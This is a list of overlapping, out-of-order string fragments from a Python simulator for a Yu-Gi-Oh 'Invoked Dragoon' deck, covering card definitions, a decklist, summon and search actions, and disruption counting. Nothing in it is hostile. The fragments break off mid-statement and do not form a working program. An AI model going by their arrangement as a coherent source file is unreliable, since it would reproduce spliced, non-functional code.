"self.lightstage elif self.meltdown in game.deck: return self.meltdown elif self.lightstage in game.deck: return self.lightstage",
"-> List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder)",
"game.banished, self.aleister) else: return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif",
"Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\",",
"in game.deck for card in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ): if",
"hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] = 2 elif",
"game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return game",
"elif self.lightstage in game.deck: return self.lightstage else: return None def select_set_rotation_targets(self, game: Game)",
"select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card = None, None if self.meltdown in",
"2) if not fodder: return None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return",
"game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if",
"game: Game) -> Optional[Game]: if ( self.candina in game.hand and game.resource_available(\"normal summon\") and",
"veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame",
"0) disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1)",
"self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane)",
"None, None if self.dm in game.deck: dm_location = game.deck elif self.dm in game.hand:",
"game.monsters.cards[:] while len(materials) < 2 and monsters: card = monsters.pop() if card in",
"return game def action_use_lightstage(self, game: Game) -> Optional[Game]: if ( self.lightstage in game.hand",
"game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister)",
"self.souls) return game def action_use_souls(self, game: Game) -> Optional[Game]: if self.souls in game.monsters",
"corobane, alesiter will be normaled if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif",
"len(materials) < 2 and monsters: card = monsters.pop() if card in self.verte_materials: materials.append(card)",
"game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters,",
"self.red_eyes in game.deck: red_eyes_location = game.deck elif self.red_eyes in game.hand: red_eyes_location = game.hand",
"Optional[Game]: if self.upstart in game.hand and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw()",
"[\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game): return game def endphase(self, game:",
"not in game.hand ): return self.meltdown elif ( self.lightstage in game.deck and self.lightstage",
"Optional[Game]: if ( self.ref in game.hand and self.dragoon in game.extra_deck and not game.monsters.cards",
"else: fodder = self.select_souls_fodder(game, 2) if not fodder: return None while fodder: game.move(game.hand,",
"elif self.meltdown in game.deck: return self.meltdown elif self.lightstage in game.deck: return self.lightstage else:",
"card in game.backrow: if card in self.cards_to_set: pure_distruptions += 1 if card ==",
"if ( self.almiraj in game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters,",
"(ash, 3), (souls, 3), (dm, 2), # (fleur, 1), (red_eyes, 2), (ref, 3),",
"def action_summon_almiraj(self, game: Game) -> Optional[Game]: if ( self.almiraj in game.extra_deck and self.aleister",
"None def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card = None, None if",
"1), (augoeides, 1), (omega, 1), (dragoon, 2), (verte, 2), ), ) default_decklist =",
"if count := hand.count(card) == 1: if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card]",
"CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if",
"self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane)",
"None if self.dm in game.deck: dm_location = game.deck elif self.dm in game.hand: dm_location",
"def action_summon_aleister(self, game: Game) -> Optional[Game]: if ( self.aleister in game.hand and game.resource_available(\"normal",
"count == 2: if card in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] =",
"self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in",
"self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game) -> Optional[Game]:",
"Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba =",
"return None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self, game:",
"return to_return else: return [card for card in to_return if redundant_cards[card] > 1]",
"< 2 and monsters: card = monsters.pop() if card in self.verte_materials: materials.append(card) if",
"self.upstart in game.hand and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw() return game",
"meltdown and take stage for corobane if self.lightstage in game.deck: my_card = self.lightstage",
"and self.lightstage not in game.hand and not (self.corobane in game.hand and self.candina in",
"dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref =",
"= self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game,",
"CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>, the Knighted\",",
"card == self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow:",
"action_use_lightstage(self, game: Game) -> Optional[Game]: if ( self.lightstage in game.hand and any(card in",
"Game) -> Optional[Game]: if ( self.jester in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\")",
"higher value means more redundant hand = game.hand.cards[:] for card in hand: if",
"2), (meltdown, 3), (terraforming, 1), (prison, 2), (imperm, 3), (ash, 3), (souls, 3),",
"= Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm =",
"veiler, cyclone) going_second = (duster, mind_control) verte_materials = ( aleister, candina, corobane, souls,",
"game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in",
"Card(\"Called by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's",
"Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None if self.dm in game.deck: dm_location =",
"Ogre & Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler",
"return dm_location, red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]:",
"include_useful: bool = False ) -> List[Card]: redundant_cards = {} # higher value",
"return game def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand",
"def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if ( self.candina in game.hand and game.resource_available(\"normal",
"[\"brick\"])], ] def postprocess(self, game: Game): return game def endphase(self, game: Game): for",
"(upstart, 1), (duster, 1), (mind_control, 1), (set_rotation, 1), (called, 1), ), ( (almiraj,",
"= cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game:",
"): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage)",
"if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba",
"if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:] while",
"game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter will be normaled if self.corobane in",
"game.move(game.hand, game.grave, self.upstart) game.draw() return game def action_use_terraforming(self, game: Game) -> Optional[Game]: if",
"Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted",
"= [] monsters = game.monsters.cards[:] while len(materials) < 2 and monsters: card =",
"game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self, game: Game) -> Optional[Game]: if",
"in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina)",
"== self.gamma and self.driver in game.banished: continue if card == self.imperm: continue pure_distruptions",
"self.meltdown if self.lightstage in game.deck: opp_card = self.lightstage return my_card, opp_card ######### #",
"veiler, imperm, nibiru, droll, crow, belle, meister, gamma) protection = (belle, called) cards_to_set",
"Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar",
"game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game) -> Optional[Game]: if",
"return game def action_summon_corobane(self, game: Game) -> Optional[Game]: if ( self.corobane in game.hand",
"Blossom & Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER)",
"int) -> List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and",
"game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave,",
"postprocess(self, game: Game): return game def endphase(self, game: Game): for card in game.hand.cards[:]:",
"in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return",
"Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\",",
"in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return",
"game.monsters, self.verte) return game def action_use_verte(self, game: Game) -> Optional[Game]: if ( self.verte",
"Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon),",
"= game.deck elif self.dm in game.hand: dm_location = game.hand if self.red_eyes in game.deck:",
"self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if card",
"Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None if self.dm in",
"action_summon_corobane(self, game: Game) -> Optional[Game]: if ( self.corobane in game.hand and game.hopt_available(self.corobane) and",
"= Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0)",
"if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand,",
"if self.meltdown in game.deck: my_card = self.meltdown if self.lightstage in game.deck: opp_card =",
"field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand,",
"game: Game) -> Optional[Game]: if ( self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate",
"( self.ref in game.hand and self.dragoon in game.extra_deck and not game.monsters.cards ): dm_location,",
"# (fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane, 1),",
"CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver =",
"set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot of Desires\", CardType.SPELL)",
"= 1 else: redundant_cards[card] = 2 else: redundant_cards[card] = 3 to_return = sorted(",
"game.draw() else: fodder = self.select_souls_fodder(game, 2) if not fodder: return None while fodder:",
"Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK)",
"Optional[Game]: if ( self.candina in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal",
"and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def",
"action_use_verte(self, game: Game) -> Optional[Game]: if ( self.verte in game.monsters and game.hopt_available(self.verte) and",
"( self.corobane in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand,",
"game.grave, self.upstart) game.draw() return game def action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming",
"= Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj",
"Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre =",
"in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target: return None game.move(game.hand,",
"): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation)",
"game def action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming):",
"= Card(\"Set Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot of Desires\", CardType.SPELL) upstart",
"and red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes)",
"( self.jester in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand,",
"belle = Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER)",
"if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and not game.has_flag(\"dragoon\"):",
"(self.corobane in game.hand and self.candina in game.hand) ): return self.lightstage elif self.meltdown in",
"1), (corobane, 1), (lightstage, 1), # (upstart, 1), (cyclone, 2), (judgment, 2), (upstart,",
"Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru,",
"Optional[Game]: if ( self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters,",
"in game.deck: my_card = self.meltdown if self.lightstage in game.deck: opp_card = self.lightstage return",
"game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def",
"-> Optional[Game]: if ( self.ref in game.hand and self.dragoon in game.extra_deck and not",
"self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis in",
"Optional[Card]: if self.dm in game.deck: return self.dm else: return None def select_souls_fodder(self, game:",
"3), (dm, 2), # (fleur, 1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina,",
"belle, meister, gamma) protection = (belle, called) cards_to_set = (judgment, droplet, called, imperm,",
"Game) -> Optional[Game]: if ( self.corobane in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards",
"( self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card in",
"game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if",
"): return self.meltdown elif ( self.lightstage in game.deck and self.lightstage not in game.hand",
"self.mechaba in game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m)",
"dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m",
"= Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps = (ash, ogre,",
"return game def action_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand",
"Optional[Game]: if ( self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ):",
"def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand and game.resource_available(\"normal",
"= Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous Spring\",",
"Actions ######### def action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart in game.hand and",
"Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER)",
"red_eyes_location = game.deck elif self.red_eyes in game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location",
"def action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card =",
"endphase(self, game: Game): for card in game.hand.cards[:]: # make a copy so we",
"Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester Confit\",",
"def action_use_souls(self, game: Game) -> Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"):",
"upstart, cyclone) light_monsters = (corobane, candina, artemis, gardna, fleur) not_opt = (imperm, crow,",
"game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not (my_card and opp_card): return None else:",
"return self.meltdown elif self.lightstage in game.deck: return self.lightstage else: return None def select_set_rotation_targets(self,",
"Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane =",
"self.lightstage if self.meltdown in game.deck: opp_card = self.meltdown else: if self.meltdown in game.deck:",
"spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister)",
"game.deck: return self.dm else: return None def select_souls_fodder(self, game: Game, count: int) ->",
"game.hand and any(card in game.deck for card in [self.corobane, self.candina]) and game.resource_available(\"activate field",
"red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.move(game.hand, game.grave, self.ref)",
"include_useful=False) while cards and len(fodder) < count: card = cards.pop() if card.card_type in",
"game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game: Game, include_useful: bool = False )",
"Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon",
"in game.deck: opp_card = self.meltdown else: if self.meltdown in game.deck: my_card = self.meltdown",
"= Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\",",
"CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis =",
"Game) -> Optional[Game]: if ( self.candina in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\")",
"and game.hopt_available(self.meltdown) and self.meltdown not in game.hand and self.aleister not in game.hand ):",
"= Card(\"Called by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster =",
"for card in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type ==",
"self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >=",
"verte_materials = ( aleister, candina, corobane, souls, jester, fleur, ) # artemis, almiraj,",
"to_return else: return [card for card in to_return if redundant_cards[card] > 1] def",
"game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game: Game)",
"Optional[Game]: if ( self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target",
"monsters.pop() if card in self.verte_materials: materials.append(card) if len(materials) < 2: return None for",
"field_target) else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"):",
"self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game: Game) -> Optional[Game]:",
"action_summon_verte(self, game: Game) -> Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials =",
"game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in game.monsters: for card in game.hand: game.add_flag(\"mechaba\")",
"= (duster, mind_control) verte_materials = ( aleister, candina, corobane, souls, jester, fleur, )",
"Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER)",
"droplet, called, imperm, prison, cyclone) discards = (driver, duster, mind_control, upstart, cyclone) light_monsters",
"or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter will be",
"(my_card and opp_card): return None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck,",
"game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2) if not fodder: return None",
"for card in game.hand: if card in self.hand_traps: if card == self.gamma and",
"), ) default_decklist = standard_decklist ######### # Helpers ######### @classmethod def generate_stats(cls, end_games:",
"game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game def action_summon_souls(self, game: Game) -> Optional[Game]:",
"Game, include_useful: bool = False ) -> List[Card]: redundant_cards = {} # higher",
"def action_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand and game.hopt_available(self.jester)",
"if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game:",
"Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis",
"game.hand and self.aleister not in game.hand ): return self.meltdown elif ( self.lightstage in",
"-> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm in",
"self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle()",
"Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier =",
"Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock Bird\", CardType.MONSTER)",
"######### @classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])],",
"card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game: Game) -> Optional[Card]:",
"len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in game.monsters: for card in",
"game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game) -> Optional[Game]:",
"): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game) -> Optional[Game]:",
"Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll =",
"1), (set_rotation, 1), (called, 1), ), ( (almiraj, 1), (artemis, 1), (gardna, 1),",
"CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s",
"\"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder =",
"False ) -> List[Card]: redundant_cards = {} # higher value means more redundant",
"game def action_use_meltdown(self, game: Game) -> Optional[Game]: if ( self.meltdown in game.hand and",
"CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot of Desires\",",
"Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon",
"Game) -> Optional[Game]: if ( self.verte in game.monsters and game.hopt_available(self.verte) and self.ref in",
"if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return",
"self.select_souls_dump(game) if not dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls,",
"= self.meltdown if self.lightstage in game.deck: opp_card = self.lightstage return my_card, opp_card #########",
"game def action_use_souls(self, game: Game) -> Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls,",
"-> Optional[Game]: if ( self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\")",
"game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck,",
"1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if card in self.cards_to_set: pure_distruptions +=",
"fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called =",
"self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self, game: Game) -> Optional[Game]: if ( self.fleur",
"in game.banished: continue if card == self.imperm: continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1))",
"game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder",
"Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\",",
"Disruptions pure_distruptions = 0 if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions",
"if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game: Game) ->",
"self.lightstage return my_card, opp_card ######### # Actions ######### def action_use_upstart(self, game: Game) ->",
"self.jester) return game def action_summon_corobane(self, game: Game) -> Optional[Game]: if ( self.corobane in",
"game.monsters, self.almiraj) return game def action_summon_gardna(self, game: Game) -> Optional[Game]: if ( self.gardna",
"if redundant_cards[card] > 1] def find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]:",
"and monsters: card = monsters.pop() if card in self.verte_materials: materials.append(card) if len(materials) <",
"Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot",
"= self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref)",
"in game.hand and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw() return game def",
"= standard_decklist ######### # Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]:",
") # artemis, almiraj, gardna? standard_decklist = DeckList( ( (aleister, 3), (invocation, 2),",
"artemis, gardna, fleur) not_opt = (imperm, crow, meister, veiler, cyclone) going_second = (duster,",
"1), (omega, 1), (dragoon, 2), (verte, 2), ), ) default_decklist = standard_decklist #########",
"= Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides",
"for card in game.backrow: if card in self.cards_to_set: pure_distruptions += 1 if card",
"self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions = 0 if self.dragoon in",
"game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters,",
"artemis, almiraj, gardna? standard_decklist = DeckList( ( (aleister, 3), (invocation, 2), (meltdown, 3),",
"to aleister. give them meltdown and take stage for corobane if self.lightstage in",
"Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru",
"Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's",
"and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self, game:",
"default_decklist = standard_decklist ######### # Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game]) ->",
"# we have a path to aleister. give them meltdown and take stage",
"material) game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self, game: Game) -> Optional[Game]: if",
